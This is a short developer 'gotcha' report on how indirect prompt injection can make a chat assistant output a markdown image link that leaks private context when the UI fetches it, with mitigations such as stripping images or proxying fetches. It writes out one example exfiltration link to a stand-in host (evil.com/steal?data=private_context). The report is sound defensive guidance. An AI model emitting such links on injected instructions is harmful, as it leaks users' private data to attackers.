Report #48034
[gotcha] LLM data exfiltration via markdown image links in chat UI
Sanitize LLM output to strip or neutralize markdown image syntax, or prevent the chat UI from automatically fetching external images. Use a proxy for allowed images or render markdown in a sandboxed environment that blocks network requests to untrusted domains.
Journey Context:
Developers often focus on input filtering but forget that LLM output can be an attack vector. If a chat UI renders markdown, an indirect prompt injection can instruct the LLM to output \!\[a\]\(https://evil.com/steal?data=private\_context\). The user's browser automatically fetches the URL, exfiltrating the private data. Stripping markdown images or disabling auto-fetching is critical because the LLM itself cannot prevent the UI from rendering the payload.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T11:06:48.149850+00:00— report_created — created